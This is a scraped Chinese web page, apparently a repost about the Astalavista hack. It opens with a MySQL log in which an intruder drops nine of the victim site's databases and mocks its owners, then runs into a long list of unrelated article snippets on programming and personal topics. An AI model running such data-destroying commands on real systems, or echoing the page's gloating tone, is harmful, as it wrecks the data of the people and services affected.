Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the buffer.

mysql> drop database astanet_membersystem;
droQuery OK, 46 rows affected (0.81 sec)

mysql> drop database com_contrexx;
Query OK, 211 rows affected (2.72 sec)

mysql> drop database com_contrexx2;
Query OK, 237 rows affected (2.23 sec)

mysql> drop database com_contrexx2_live;
Query OK, 227 rows affected (7.63 sec)

mysql> drop database ideapool;
Query OK, 69 rows affected (0.19 sec)

mysql> drop database yourmaster;
Query OK, 158 rows affected (0.55 sec)

mysql> drop database astanet_ads;
Query OK, 9 rows affected (0.11 sec)

mysql> drop database astanet_mailing_lists;
Query OK, 24 rows affected (1.47 sec)

mysql> drop database astanet_mediawiki;
Query OK, 31 rows affected (0.51 sec)

What a journey! We’re not sure exactly why the “Terminator” had any influence on
their naming (conventions) but we’re sure Arnold himself wouldn’t be in the
wrong to say this pack of morons *wont be back*.

你可能感兴趣的:(Astalavista被蹂躏过程(转载自baoz.net))

机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习 python
一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
地推话术，如何应对地推过程中家长的拒绝校师学
相信校长们在做地推的时候经常遇到这种情况：市场专员反馈家长不接单，咨询师反馈难以邀约这些家长上门，校区地推疲软，招生难。为什么？仅从地推层面分析，一方面因为家长受到的信息轰炸越来越多，对信息越来越“免疫”；而另一方面地推人员的专业能力和营销话术没有提高，无法应对家长的拒绝，对有意向的家长也不知如何跟进，眼睁睁看着家长走远；对于家长的疑问，更不知道如何有技巧地回答，机会白白流失。由于回答没技巧和专业
2021年12月19日，春蕾教育集团团建活动感受——黄晓丹黄错错加油
感受:1.从陌生到熟悉的过程。游戏环节让我们在轻松的氛围中得到了锻炼，也增长了不少知识。2.游戏过程中，我们贡献的是个人力量，展现的是团队的力量。它磨合的往往不止是工作的熟悉，更是观念上契合度的贴近。3.这和工作是一样的道理。在各自的岗位上，每个人摆正自己的位置、各司其职充分发挥才能，并团结一致劲往一处使，才能实现最大的成功。新知:1.团队精神需要不断地创新。过去，人们把创新看作是冒风险，现在人们
30天风格练习-DAY2 黄希夷
Day2（重义）在一个周日/一周的最后一天，我来到位于市中心/市区繁华地带的一家购物中心/商场，中心内人很多/熙熙攘攘。我注意到/看见一个独行/孤身一人的年轻女孩/，留着一头引人注目/长过腰际的头发，上身穿一件暗红色/比正红色更深的衣服/穿在身体上的东西。走下扶梯的时候，她摔倒了/跌向地面，在她正要站起来/让身体离开地面的时候，过长/超过一般人长度的头发被支撑身体/躯干的手掌压/按在下面，她赶紧用
消息中间件有哪些常见类型 xmh-sxh-1314 java
消息中间件根据其设计理念和用途，可以大致分为以下几种常见类型：点对点消息队列（Point-to-PointMessagingQueues）：在这种模型中，消息被发送到特定的队列中，消费者从队列中取出并处理消息。队列中的消息只能被一个消费者消费，消费后即被删除。常见的实现包括IBM的MQSeries、RabbitMQ的部分使用场景等。适用于任务分发、负载均衡等场景。发布/订阅消息模型（Pub/Sub
本周第二次约练 2cfbdfe28a51
中原焦点团队中24初26刘霞2021.12.3约练161次，分享第368天当事人虽然是带着问题来的，但是咨询过程中发现，她是经过自己不断地调整和努力才走到现在的，看到当事人的不容易，找到例外，发现资源，力量感也就随之而来。增强画面感，或者说重温，会给当事人带来更深刻的感受。
活给自己看，笑容才灿烂听着了么
白岩松说“有时候，我们活得很累，并非生活过于刻薄，而是我们太容易被外界的氛围所感染，被他人的情绪所左右。”心情是自己的。若只是活在别人的眼里、嘴里，便掌握不了让自己开心的主动权。人活着，不是为了活给别人看的，唯有做最真实的自己，活给自己看，笑容才灿烂。诚然，世事纷繁复杂，人人都有一张嘴，管也管不了。永远有人欣赏你，也永远有人批评你，不可能做到让所有人都满意，开心做自己才是最重要的。人生苦短，有太多
2019-12-22-22:30 涓涓1016
今天是冬至，写下我的日更，是因为这两天的学习真的是能量的满满，让我看到了自己，未来另外一种可能性，也让我看到了这两年这几年的过程中我所接受那些痛苦的来源。一切的根源和痛苦都来自于人生，家庭，而你的原生家庭，你的爸爸和妈妈，是因为你这个灵魂在那一刻选择他们作为你的爸爸和妈妈来的，所以你得接受他，你得接纳他，他就是因为他的存在而给你的学习和成长带来这些痛苦，那其实是你必然要经历的这个过程，当你去接纳的
第四天旅游线路预览——从换乘中心到喀纳斯湖陟彼高冈yu 基于Google earth studio 的旅游规划和预览旅游
第四天：从贾登峪到喀纳斯风景区入口，晚上住宿贾登峪；换乘中心有4路车，喀纳斯①号车，去喀纳斯湖，路程时长约5分钟；将上面的的行程安排进行动态展示，具体步骤见”Googleearthstudio进行动态轨迹显示制作过程“、“Googleearthstudio入门教程”和“Googleearthstudio进阶教程“相关内容，得到行程如下所示：Day4-2-480p
直抒《紫罗兰永恒花园外传》雷姆的黑色童话
没看过《紫罗兰永恒花园》的我莫名的看完了《紫罗兰永恒花园外传》，又莫名的被故事中的姐妹之情狠狠地感动了的一把。感动何在：困苦中相依为命的姐妹二人被迫分离，用一个人的自由换取另一个人的幸福。之后，虽相隔不知几许依旧心心念念彼此牵挂。这种深深的姐妹情谊就是令我为之动容的所在。贝拉和泰勒分别影片开始，海天之间一个孩童凭栏眺望，手中拿着折旧的信纸。镜头一转，挑灯伏案的薇尔莉特正在打字机前奋笔疾书。这些片段
今天我破防了 sin信仰
今天本来是大年初一，新年的第一天，应该是高高兴兴的一天，但是我怎么也高兴不起来。具体原因很简单，原本计划年后去县城找了一份会计的工作，被公公婆婆否定了，我心里立马就不舒服了，但是当时刚好肚子疼，我去了厕所，等我上完厕所，公公由于喝了酒还在那里和婆婆唠叨个没完。然后我就在心情极度压抑的情况下把午饭吃完的碗筷和锅给刷了。边刷碗筷和锅，边在那里难受，感觉自己在这个家里真的是过的憋屈死了，公婆不让我去上班
LLM 词汇表落难Coder LLMs NLP 大语言模型大模型 llama 人工智能
Contextwindow“上下文窗口”是指语言模型在生成新文本时能够回溯和参考的文本量。这不同于语言模型训练时所使用的大量数据集，而是代表了模型的“工作记忆”。较大的上下文窗口可以让模型理解和响应更复杂和更长的提示，而较小的上下文窗口可能会限制模型处理较长提示或在长时间对话中保持连贯性的能力。Fine-tuning微调是使用额外的数据进一步训练预训练语言模型的过程。这使得模型开始表示和模仿微调数
2020.11.19 隆非凡
日精进，今日体验：在维修过程中遇到的问题，把源头找到，在进行下一步开始。不要停留在一个点上，合理调整心态，把当下事做好。
2020-04-12每天三百字之连接与替代冷眼看潮
不知道是不是好为人师，有时候还真想和别人分享一下我对某些现象的看法或者解释。人类社会不断发展进步的过程，就是不断连接与替代的过程。人类发现了火并应用火以后，告别了茹毛饮血的野兽般的原始生活（火烧、烹饪替代了生食）人类用石器代替了完全手工，工具的使用使人类进步一大步。类似这样的替代还有很多，随着科技的发展，有更多的原始的事物被替代，代之以更高效、更先进的技术。在近现代，汽车替代了马车，高速公路和铁路
【加密社】Solidity 中的事件机制及其应用加密社闲侃区块链智能合约区块链
加密社引言在Solidity合约开发过程中，事件（Events）是一种非常重要的机制。它们不仅能够让开发者记录智能合约的重要状态变更，还能够让外部系统（如前端应用）监听这些状态的变化。本文将详细介绍Solidity中的事件机制以及如何利用不同的手段来触发、监听和获取这些事件。事件存储的地方当我们在Solidity合约中使用emit关键字触发事件时，该事件会被记录在区块链的交易收据中。具体而言，事件
GitHub上克隆项目 bigbig猩猩 github
从GitHub上克隆项目是一个简单且直接的过程，它允许你将远程仓库中的项目复制到你的本地计算机上，以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南，帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前，你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统，用于跟踪和管理代码变更。你可以从Git的官方网站（https://git-scm.
ARM中断处理过程落汤老狗嵌入式linux
一、前言本文主要以ARM体系结构下的中断处理为例，讲述整个中断处理过程中的硬件行为和软件动作。具体整个处理过程分成三个步骤来描述：1、第二章描述了中断处理的准备过程2、第三章描述了当发生中的时候，ARM硬件的行为3、第四章描述了ARM的中断进入过程4、第五章描述了ARM的中断退出过程本文涉及的代码来自3.14内核。另外，本文注意描述ARM指令集的内容，有些sourcecode为了简短一些，删除了T
pyecharts——绘制柱形图折线图 2224070247 信息可视化 python java 数据可视化
一、pyecharts概述自2013年6月百度EFE(ExcellentFrontEnd）数据可视化团队研发的ECharts1.0发布到GitHub网站以来，ECharts一直备受业界权威的关注并获得广泛好评，成为目前成熟且流行的数据可视化图表工具，被应用到诸多数据可视化的开发领域。Python作为数据分析领域最受欢迎的语言，也加入ECharts的使用行列，并研发出方便Python开发者使用的数据
node.js学习小猿L node.js node.js 学习 vim
node.js学习实操及笔记温故node.js，node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础，三大框架vuereactangular离不开node.jsnode.js是什么官网：node.js是一个开源的、跨平台的运行JavaScript的运行
被带偏的家人，可气又感动艾孤璟
当我还是个严肃且内敛的孩子时，爷爷也是个严谨且和蔼的人，虽然不苟言笑，但没有距离感。当我接触的人越来越多，知道怎么调动气氛，家人们就被我带偏了。家里人本来没有外号的，后来都被我给取了各种各样的名字，“骂人”时就相对应的有了暗号。村里的小孩，本来不知道怎么使用假动作“打人”，怎么给人取合适的外号，后来也被我带偏了。老人常说我，古灵精怪，好的不学非得学坏的，带着不良风气。而我对他的话总是想生气又觉得搞
数据仓库——维度表一致性墨染丶eye 背诵数据仓库
数据仓库基础笔记思维导图已经整理完毕，完整连接为：数据仓库基础知识笔记思维导图维度一致性问题从逻辑层面来看，当一系列星型模型共享一组公共维度时，所涉及的维度称为一致性维度。当维度表存在不一致时，短期的成功难以弥补长期的错误。维度时确保不同过程中信息集成起来实现横向钻取货活动的关键。造成横向钻取失败的原因维度结构的差别，因为维度的差别，分析工作涉及的领域从简单到复杂，但是都是通过复杂的报表来弥补设计
第六集如何安装CentOS7.0，3分钟学会centos7安装教程 date分享
从光盘引导系统按回车键继续进入引导程序安装界面，选择语言这里选择简体中文版点击继续选择桌面安装下面给系统分区选择磁盘，点击完成选择基本分区，点击加号swap分区,大小填内存的两倍在选择根分区，使用所有可用的磁盘空间选择文件系统ext4点击完成，点击开始安装设置root密码，点击完成设置普通用户和密码，点击完成整个过程持续八分钟左右根据个人配置不同，时间长短不同好，现在点击重启系统进入重启状态点击本
那个严厉的启蒙老师小米星的天空
本文参加鹏哥教师节征文活动我的启蒙老师李老师，大概是唯一动手打过我，但是我仍然很感恩的老师吧。李老师当年四十多岁，擅长珠心算教学，算是我们乡镇小学的王牌老师。李老师很严厉，不仅要骂学生，还要动手打人，他的大眼睛一瞪，全班同学都瑟瑟发抖。在九十年代，家长不像现在这样宠溺孩子。许多家长都跟老师说，管得严一点，不听话就给我打。那时候棍棒教育是很正常的，教室里的木质米尺，常常因为被用来打调皮男生的屁股而折
这个世界为何对女性这么苛刻遇见知见
图片发自App当今社会的女性，简直用金刚侠来形容都不为过。虽然早已过了男尊女卑的时代，但是这个世界并没有平等的对待女性。新时代的女性标准：上得了厅堂，下得了厨房，杀得了木马，翻得了围墙，开得起好车，买得起新房，斗得过二奶，打得过流氓，生得了孩子，养得了家庭。这个社会对女性有太多的不公平，既要求女性经济独立，又要求女性贤良淑德。所有的女性的在成长过程中没有任何一项是因为你是女性而给你开绿灯的。图片发
一个历史事件和查理一世走上断头台有很大关系，这个事件是什么？王老师聊围棋
今天我要讲的历史事件，查理一世被处死的始末。其实查理一世给被处死的时候，与一个事件有很大的联系。这个事件是“普莱德清洗”。提到这个事件，我们不得不提到一个人，这个人就是克伦威尔。可以说，查理一世能够走上断头台，克伦威尔有很大的功劳。为什么这么说呢。那我们就成英国内战的终结说起吧。我们都知道英国的内战是有保王党挑起来。在保王党军队一路凯歌进攻的同时。就在1645年6月14日，在纳西比荒原上进行最后的
数字里的世界17期：2021年全球10大顶级数据中心，中国移动榜首张三叨
你知道吗？2016年，全球的数据中心共计用电4160亿千瓦时，比整个英国的发电量还多40％！前言每天，我们都会创造超过250万TB的数据。并且随着物联网（IOT）的不断普及，这一数据将持续增长。如此庞大的数据被存储在被称为“数据中心”的专用设施中。虽然最早的数据中心建于20世纪40年代，但直到1997-2000年的互联网泡沫期间才逐渐成为主流。当前人类的技术，比如人工智能和机器学习，已经将我们推向
EIO国际确定性的交易（3/10）资管，资金委托安全吗？古城鹏哥
大家可能都知道资金托管，账户是自己开，钱在自己的账户上，密码是由自己掌控，别人提不走你账户的资金，每天可以看下到自己的账户，也可以看到交易流水。现金只能提到自己的银行卡中。账户由技术人员或操作人员，或者是机构团队帮你操作账户，产生盈利和收入，以获得的利润来分配盈利，技术强硬和做的时间久了过硬技术团队，会保证你的资金本金，不会让你的本金亏损的按照一定比例分配收入。所以在这个过程当中一定要看清楚技术的
2019-10-24 柒月的可可
今日上班无事，人又懒怠动，不知道如何打发这个下午，终于打开了。我大概是把当日记来写的。重庆的天气骤然凉了。早上出门的时候，满地都是落叶，脚踩上去，却是刚下过雨，叶子已润掉，走不出声响。白天在办公室不见天日，对温度也无甚感觉，晚上一个人回到家，屋子里窗户都开着，被冷风吹了一天，一迈进屋，便觉冷气森然。将近二十度的天气，竟要裹着毯子才觉温暖。再过一周，就到十一月。扛过十一月，就可以开暖气了。然而我真的
2023-07-24 DXZHY
很2023年7月24号星期天，今天呢一早我就去开店，淋完花我就赶去了中心联谊，感谢中心联谊过程当中，他们在唱诵读者上面1.一边流泪，感觉自己的内在灵魂太长，时间没有得到这样了，所以一边唱手一边在流泪，我分不清楚自己是感动了，还是被呼唤的灵魂所能看到，但我就是哭了，泪流满面，我全身细胞在放松，最后我们荣耀完了之后，我打包了一部分回来，我发现我是挺真爱想摸的，然而。那我们商量好之后，他要做出一些违背我
第九十章真情溪境
图片发自App图片发自App和雏田在一起的日子真的很开心。姐姐永远是最亲的最真的。佐助总来捣乱。小樱准备一盆水泼佐助。想到恋爱通告亦菲被泼水不免高兴。亦菲是最美的。没想到她也会有这种遭遇。也许不需要赚那么多钱。和家人在一起的日子真好。却轻易破碎。雏田的话语温软，依稀在耳边。她的微笑纯美温柔。喜欢温柔的哥哥，雏田就是这样啊。不知道雏田是喜欢男生还是女生。我都支持。过去门当户对。现在自由恋爱。想永远和
枚举的构造函数中抛出异常会怎样 bylijinnan java enum 单例
首先从使用enum实现单例说起。为什么要用enum来实现单例？这篇文章（ http://javarevisited.blogspot.sg/2012/07/why-enum-singleton-are-better-in-java.html）阐述了三个理由： 1.enum单例简单、容易，只需几行代码： public enum Singleton { INSTANCE;
CMake 教程 aigo C++
转自：http://xiang.lf.blog.163.com/blog/static/127733322201481114456136/ CMake是一个跨平台的程序构建工具，比如起自己编写Makefile方便很多。介绍：http://baike.baidu.com/view/1126160.htm 本文件不介绍CMake的基本语法，下面是篇不错的入门教程： http:
cvc-complex-type.2.3: Element 'beans' cannot have character Cb123456 spring Webgis
cvc-complex-type.2.3: Element 'beans' cannot have character Line 33 in XML document from ServletContext resource [/WEB-INF/backend-servlet.xml] is i
jquery实例:随页面滚动条滚动而自动加载内容 120153216 jquery
<script language="javascript"> $(function (){ var i = 4;$(window).bind("scroll", function (event){ //滚动条到网页头部的高度，兼容ie,ff,chrome var top = document.documentElement.s
将数据库中的数据转换成dbs文件何必如此 sql dbs
旗正规则引擎通过数据库配置器（DataBuilder）来管理数据库，无论是Oracle，还是其他主流的数据都支持，操作方式是一样的。旗正规则引擎的数据库配置器是用于编辑数据库结构信息以及管理数据库表数据，并且可以执行SQL 语句，主要功能如下。 1)数据库生成表结构信息：主要生成数据库配置文件(.conf文
在IBATIS中配置SQL语句的IN方式 357029540 ibatis
在使用IBATIS进行SQL语句配置查询时，我们一定会遇到通过IN查询的地方，在使用IN查询时我们可以有两种方式进行配置参数：String和List。具体使用方式如下： 1.String:定义一个String的参数userIds，把这个参数传入IBATIS的sql配置文件，sql语句就可以这样写： <select id="getForms" param
Spring3 MVC 笔记（一） 7454103 spring mvc bean REST JSF
自从 MVC 这个概念提出来之后 struts1.X struts2.X jsf 。。。。。这个view 层的技术一个接一个！都用过！不敢说哪个绝对的强悍！要看业务，和整体的设计！最近公司要求开发个新系统！
Timer与Spring Quartz 定时执行程序 darkranger spring bean 工作 quartz
有时候需要定时触发某一项任务。其实在jdk1.3，java sdk就通过java.util.Timer提供相应的功能。一个简单的例子说明如何使用，很简单： 1、第一步，我们需要建立一项任务，我们的任务需要继承java.util.TimerTask package com.test; import java.text.SimpleDateFormat; import java.util.Date;
大端小端转换，le32_to_cpu 和cpu_to_le32 aijuans C语言相关
大端小端转换，le32_to_cpu 和cpu_to_le32 字节序 http://oss.org.cn/kernel-book/ldd3/ch11s04.html 小心不要假设字节序. PC 存储多字节值是低字节为先(小端为先, 因此是小端), 一些高级的平台以另一种方式(大端)
Nginx负载均衡配置实例详解 avords
[导读] 负载均衡是我们大流量网站要做的一个东西，下面我来给大家介绍在Nginx服务器上进行负载均衡配置方法，希望对有需要的同学有所帮助哦。负载均衡先来简单了解一下什么是负载均衡，单从字面上的意思来理解就可以解负载均衡是我们大流量网站要做的一个东西，下面我来给大家介绍在Nginx服务器上进行负载均衡配置方法，希望对有需要的同学有所帮助哦。负载均衡先来简单了解一下什么是负载均衡
乱说的 houxinyou 框架敏捷开发软件测试
从很久以前，大家就研究框架，开发方法，软件工程，好多！反正我是搞不明白！这两天看好多人研究敏捷模型，瀑布模型！也没太搞明白. 不过感觉和程序开发语言差不多，瀑布就是顺序，敏捷就是循环. 瀑布就是需求、分析、设计、编码、测试一步一步走下来。而敏捷就是按摸块或者说迭代做个循环，第个循环中也一样是需求、分析、设计、编码、测试一步一步走下来。也可以把软件开发理
欣赏的价值——一个小故事 bijian1013 有效辅导欣赏欣赏的价值
　　第一次参加家长会，幼儿园的老师说："您的儿子有多动症，在板凳上连三分钟都坐不了，你最好带他去医院看一看。"　　回家的路上，儿子问她老师都说了些什么，她鼻子一酸，差点流下泪来。因为全班30位小朋友，惟有他表现最差；惟有对他，老师表现出不屑，然而她还在告诉她的儿子："老师表扬你了，说宝宝原来在板凳上坐不了一分钟，现在能坐三分钟。其他妈妈都非常羡慕妈妈，因为全班只有宝宝
包冲突问题的解决方法 bingyingao eclipse maven exclusions 包冲突
包冲突是开发过程中很常见的问题：其表现有： 1.明明在eclipse中能够索引到某个类，运行时却报出找不到类。 2.明明在eclipse中能够索引到某个类的方法，运行时却报出找不到方法。 3.类及方法都有，以正确编译成了.class文件，在本机跑的好好的，发到测试或者正式环境就抛如下异常： java.lang.NoClassDefFoundError: Could not in
【Spark七十五】Spark Streaming整合Flume-NG三之接入log4j bit1129 Stream
先来一段废话：实际工作中，业务系统的日志基本上是使用Log4j写入到日志文件中的，问题的关键之处在于业务日志的格式混乱，这给对日志文件中的日志进行统计分析带来了极大的困难，或者说，基本上无法进行分析，每个人写日志的习惯不同，导致日志行的格式五花八门，最后只能通过grep来查找特定的关键词缩小范围，但是在集群环境下，每个机器去grep一遍，分析一遍，这个效率如何可想之二，大好光阴都浪费在这上面了
sudoku solver in Haskell bookjovi sudoku haskell
这几天没太多的事做，想着用函数式语言来写点实用的程序，像fib和prime之类的就不想提了（就一行代码的事），写什么程序呢？在网上闲逛时发现sudoku游戏，sudoku十几年前就知道了，学生生涯时也想过用C/Java来实现个智能求解，但到最后往往没写成，主要是用C/Java写的话会很麻烦。现在写程序，本人总是有一种思维惯性，总是想把程序写的更紧凑，更精致，代码行数最少，所以现
java apache ftpClient bro_feng java
最近使用apache的ftpclient插件实现ftp下载，遇见几个问题，做如下总结。 1. 上传阻塞，一连串的上传，其中一个就阻塞了，或是用storeFile上传时返回false。查了点资料，说是FTP有主动模式和被动模式。将传出模式修改为被动模式ftp.enterLocalPassiveMode();然后就好了。看了网上相关介绍，对主动模式和被动模式区别还是比较的模糊，不太了解被动模
读《研磨设计模式》-代码笔记-工厂方法模式 bylijinnan java 设计模式
声明：本文只为方便我个人查阅和理解，详细的分析以及源代码请移步原作者的博客http://chjavach.iteye.com/ package design.pattern; /* * 工厂方法模式：使一个类的实例化延迟到子类 * 某次，我在工作不知不觉中就用到了工厂方法模式（称为模板方法模式更恰当。2012-10-29）： * 有很多不同的产品，它
面试记录语 chenyu19891124 招聘
或许真的在一个平台上成长成什么样，都必须靠自己去努力。有了好的平台让自己展示，就该好好努力。今天是自己单独一次去面试别人，感觉有点小紧张，说话有点打结。在面试完后写面试情况表，下笔真的好难，尤其是要对面试人的情况说明真的好难。今天面试的是自己同事的同事，现在的这个同事要离职了，介绍了我现在这位同事以前的同事来面试。今天这位求职者面试的是配置管理，期初看了简历觉得应该很适合做配置管理，但是今天面
Fire Workflow 1.0正式版终于发布了 comsci 工作 workflow Google
Fire Workflow 是国内另外一款开源工作流，作者是著名的非也同志，哈哈.... 官方网站是 http://www.fireflow.org 经过大家努力,Fire Workflow 1.0正式版终于发布了正式版主要变化: 1、增加IWorkItem.jumpToEx(...)方法，取消了当前环节和目标环节必须在同一条执行线的限制，使得自由流更加自由 2、增加IT
Python向脚本传参 daizj python 脚本传参
如果想对python脚本传参数，python中对应的argc, argv(c语言的命令行参数)是什么呢？需要模块：sys 参数个数：len(sys.argv) 脚本名： sys.argv[0] 参数1： sys.argv[1] 参数2： sys.argv[
管理用户分组的命令gpasswd dongwei_6688 passwd
NAME： gpasswd - administer the /etc/group file SYNOPSIS： gpasswd group gpasswd -a user group gpasswd -d user group gpasswd -R group gpasswd -r group gpasswd [-A user,...] [-M user,...] g
郝斌老师数据结构课程笔记 dcj3sjt126com 数据结构与算法
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
yii2 cgridview加上选择框进行操作 dcj3sjt126com GridView
页面代码 <?=Html::beginForm(['controller/bulk'],'post');?> <?=Html::dropDownList('action','',[''=>'Mark selected as: ','c'=>'Confirmed','nc'=>'No Confirmed'],['class'=>'dropdown',])
linux mysql fypop linux
enquiry mysql version in centos linux yum list installed | grep mysql yum -y remove mysql-libs.x86_64 enquiry mysql version in yum repositoryyum list | grep mysql oryum -y list mysql* install mysq
Scramble String hcx2013 String
Given a string s1, we may represent it as a binary tree by partitioning it to two non-empty substrings recursively. Below is one possible representation of s1 = "great":
跟我学Shiro目录贴 jinnianshilongnian 跟我学shiro
历经三个月左右时间，《跟我学Shiro》系列教程已经完结，暂时没有需要补充的内容，因此生成PDF版供大家下载。最近项目比较紧，没有时间解答一些疑问，暂时无法回复一些问题，很抱歉，不过可以加群（334194438/348194195）一起讨论问题。 ----广告-----------------------------------------------------
nginx日志切割并使用flume-ng收集日志 liyonghui160com
nginx的日志文件没有rotate功能。如果你不处理，日志文件将变得越来越大，还好我们可以写一个nginx日志切割脚本来自动切割日志文件。第一步就是重命名日志文件，不用担心重命名后nginx找不到日志文件而丢失日志。在你未重新打开原名字的日志文件前，nginx还是会向你重命名的文件写日志，linux是靠文件描述符而不是文件名定位文件。第二步向nginx主
Oracle死锁解决方法 pda158 oracle
　select p.spid,c.object_name,b.session_id,b.oracle_username,b.os_user_name from v$process p,v$session a, v$locked_object b,all_objects c where p.addr=a.paddr and a.process=b.process and c.object_id=b.
java之List排序 shiguanghui list排序
在Java Collection Framework中定义的List实现有Vector，ArrayList和LinkedList。这些集合提供了对对象组的索引访问。他们提供了元素的添加与删除支持。然而，它们并没有内置的元素排序支持。　　你能够使用java.util.Collections类中的sort()方法对List元素进行排序。你既可以给方法传递
servlet单例多线程 utopialxw 单例多线程 servlet
转自http://www.cnblogs.com/yjhrem/articles/3160864.html 和 http://blog.chinaunix.net/uid-7374279-id-3687149.html Servlet 单例多线程 Servlet如何处理多个请求访问？Servlet容器默认是采用单实例多线程的方式处理多个请求的：1.当web服务器启动的